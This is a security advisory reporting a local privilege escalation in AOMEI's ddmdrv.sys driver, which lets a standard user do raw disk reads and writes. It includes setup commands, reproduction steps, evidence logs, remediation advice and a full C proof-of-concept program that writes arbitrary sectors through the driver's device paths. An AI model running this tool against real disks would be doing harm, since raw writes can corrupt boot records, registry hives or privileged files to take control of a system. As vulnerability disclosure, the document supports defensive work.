Skip to main content

AOMEI Dynamic Disk Manager 10.10.1 Kernel Driver ddmdrv.sys Local Privilege Escalation

Summary

ddmdrv.sys, shipped with AOMEI Partition Assistant Standard 10.10.1, exposes the \\.\ddmwrt device to a standard local user and forwards raw read/write requests to the underlying disk stack. The forwarded requests are issued by the kernel driver, so the standard Windows access check that prevents a non-administrator from opening \\.\PhysicalDriveN is bypassed.

In a controlled proof, a standard Medium Integrity user could not open a temporary VHD-backed physical disk directly. The same user then wrote a unique 512-byte marker to that disk through \\.\ddmwrt\Partition0\DISK1, read it back through the driver, and an Administrator confirmed the marker by directly reading \\.\PhysicalDrive1 at the same offset.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

  • Product: AOMEI Partition Assistant Standard
  • Product version: 10.10.1
  • Affected driver: ddmdrv.sys
  • Driver SHA-256: 7BE327777B40547625E9BF5B91B00B7AE0B5507DB85DE9741B995A4F6AFEFC12
  • Driver file size: 35,760 bytes
  • Driver signature: Valid
  • Driver signer: CHENGDU AOMEI Tech Co., Ltd.
  • Driver certificate issuer: VeriSign Class 3 Code Signing 2010 CA

Download URL and SHA-256

  • Download URL: https://www2.aomeisoftware.com/download/pa/PAssist_Std.exe
  • Downloaded file name: PAssist_Std.exe
  • Installer SHA-256: 0C244FF57E35174E9FA017DF06CA54B7EDF5927D164E2ABD22AD44B8D7BBDE2C
  • Installer signature: Valid, signer AOMEI International Network Limited

Vulnerability Type

Local privilege escalation / Windows access-control bypass through an unauthenticated raw disk read/write forwarder.

Impact

A standard local user can perform raw sector reads and writes through the vendor driver even though direct access to the same physical disk is denied by Windows. Raw disk write access can be used to tamper with file-system structures, boot records, registry hives, or privileged files by sector offset. This proof writes only to a temporary VHD created for testing.

ddmdrv.sys also reports an inflated byte count for 512-byte raw I/O requests (262144 bytes reported for a 512-byte request). The proof program clamps saved readback data to the requested length so the evidence file remains stable.

Test Environment

  • OS: Microsoft Windows Server 2025 Datacenter Evaluation
  • Version: 10.0.26100, 64-bit
  • High-privilege account: local Administrator
  • Low-privilege account: standard local user
  • Low-privilege integrity level: Medium Mandatory Level
  • Test target: 64 MiB temporary VHD attached as \\.\PhysicalDrive1

Driver Load / Setup Steps

The installer was extracted offline; the product installer UI was not executed.

innoextract.exe -d C:\ProgramData\VendorRepro\aomei_pa_inno C:\Users\Administrator\Downloads\PAssist_Std.exe
Copy-Item C:\ProgramData\VendorRepro\aomei_pa_inno\app\ddm\ddmdrv.sys C:\ProgramData\VendorRepro\aomei_pa_driver\ddmdrv.sys
sc.exe create aomei_ddmdrv_repro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\aomei_pa_driver\ddmdrv.sys
sc.exe start aomei_ddmdrv_repro

Driver load result:

SERVICE_NAME: aomei_ddmdrv_repro
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)

The temporary VHD was created and attached with DiskPart:

create vdisk file="C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd" maximum=64 type=fixed
attach vdisk

Windows assigned the VHD as \\.\PhysicalDrive1.

Reproduction Steps

As the standard user, first confirm direct raw disk access is denied:

[System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite)

Then run the proof program as the same standard user:

$device = "\\.\ddmwrt\Partition0\DISK1"
$offset = 4194304

.\aomei_raw_disk_forwarder_poc.exe --device $device --write --offset $offset --in .\payload.bin --dangerous-write
.\aomei_raw_disk_forwarder_poc.exe --device $device --read --offset $offset --length 512 --out .\low_user_readback.bin

Finally, as Administrator, read the same physical disk offset directly:

$fs = [System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
$fs.Seek(4194304, [System.IO.SeekOrigin]::Begin)

Baseline Evidence

The test user is a standard user at Medium Integrity:

User Name           SID
=================== ==============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

Direct access to the VHD-backed physical disk failed:

EXPECTED_DENIED: System.Management.Automation.MethodInvocationException: Exception calling "Open" with "4" argument(s): "Access to the path '\\.\PhysicalDrive1' is denied."

Exploit Evidence

The same standard user wrote and read a unique marker through \\.\ddmwrt\Partition0\DISK1:

=== low ddmdrv final exploit ===
driver reported 262144 bytes for a 512-byte write; requested buffer length was used
write request completed; driver_reported=262144 requested=512
WRITE_EXIT=0
driver reported 262144 bytes for a 512-byte read; clamping saved output to requested length
read request completed; driver_reported=262144 saved=512 into C:\ProgramData\VendorRepro\aomei_pa_work\low_ddmdrv_final_readback.bin
READ_EXIT=0
READBACK_ASCII=AOMEI-DDM-RAW-SECTOR-6f4dc744-b0b2-40fb-9ed8-c37597bea3e0

Administrator direct readback from the same physical disk offset confirmed the marker was actually written to the temporary disk:

=== admin physical readback after ddmdrv final ===
target=\\.\PhysicalDrive1
offset=4194304
bytes_read=512
readback_ascii=AOMEI-DDM-RAW-SECTOR-6f4dc744-b0b2-40fb-9ed8-c37597bea3e0

Why This Proves the Vulnerability

Windows denied the standard user direct read/write access to \\.\PhysicalDrive1. The user did not have administrative privileges or storage-management privileges.

After ddmdrv.sys was loaded, the same user could open \\.\ddmwrt\Partition0\DISK1 and perform raw disk I/O through the vendor driver. The marker was read back through the driver and then independently confirmed by an Administrator reading the VHD-backed physical disk directly. Therefore, the driver exposes privileged raw disk functionality to a standard user without enforcing the expected Windows access checks.

Suggested Remediation

  • Create the device with an explicit restrictive security descriptor, for example admin-only access via IoCreateDeviceSecure.
  • Set FILE_DEVICE_SECURE_OPEN for the exposed device.
  • Reject user-mode callers for raw disk forwarding paths unless the caller is explicitly authorized.
  • Remove or strictly gate generic IRP_MJ_READ and IRP_MJ_WRITE forwarding to disk device objects.
  • Add per-request authorization checks for any operation that can read or write raw disk sectors.
  • Correct the returned IoStatus.Information length so callers cannot receive inflated byte counts.

POC

// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>

static void usage(void) {
    fwprintf(stderr,
        L"usage:\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
        L"\nexamples:\n"
        L"  --device \\\\.\\wowrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}

static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i + 1 < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return argv[i + 1];
    }
    return NULL;
}

static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return 1;
    }
    return 0;
}

static uint64_t parse_u64(const wchar_t *s) {
    return s ? _wcstoui64(s, NULL, 0) : 0;
}

static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
    HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    LARGE_INTEGER sz;
    DWORD got = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
        CloseHandle(f);
        return 0;
    }
    *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
    *len = (DWORD)sz.QuadPart;
    if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
    HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD wrote = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

int wmain(int argc, wchar_t **argv) {
    const wchar_t *device = arg_value(argc, argv, L"--device");
    uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
    int do_read = has_arg(argc, argv, L"--read");
    int do_write = has_arg(argc, argv, L"--write");

    if (!device || do_read == do_write) {
        usage();
        return 2;
    }

    HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
        return 1;
    }

    LARGE_INTEGER li;
    li.QuadPart = (LONGLONG)offset;
    if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
        wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
        CloseHandle(h);
        return 1;
    }

    if (do_read) {
        const wchar_t *out = arg_value(argc, argv, L"--out");
        DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
        if (!out || len == 0 || len > 0x1000000) {
            usage();
            CloseHandle(h);
            return 2;
        }
        BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
        DWORD got = 0;
        if (!buf) return 1;
        if (!ReadFile(h, buf, len, &got, NULL)) {
            wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        DWORD out_len = got;
        if (out_len > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n", got, len);
            out_len = len;
        }
        if (!write_file_all(out, buf, out_len)) {
            wprintf(L"writing output file failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
        HeapFree(GetProcessHeap(), 0, buf);
    } else {
        const wchar_t *in = arg_value(argc, argv, L"--in");
        if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
            fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
            CloseHandle(h);
            return 2;
        }
        BYTE *buf = NULL;
        DWORD len = 0, wrote = 0;
        if (!read_file_all(in, &buf, &len)) {
            wprintf(L"reading payload failed: %lu\n", GetLastError());
            CloseHandle(h);
            return 1;
        }
        if (!WriteFile(h, buf, len, &wrote, NULL)) {
            wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        if (wrote > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote, len);
        }
        wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
        HeapFree(GetProcessHeap(), 0, buf);
    }

    CloseHandle(h);
    return 0;
}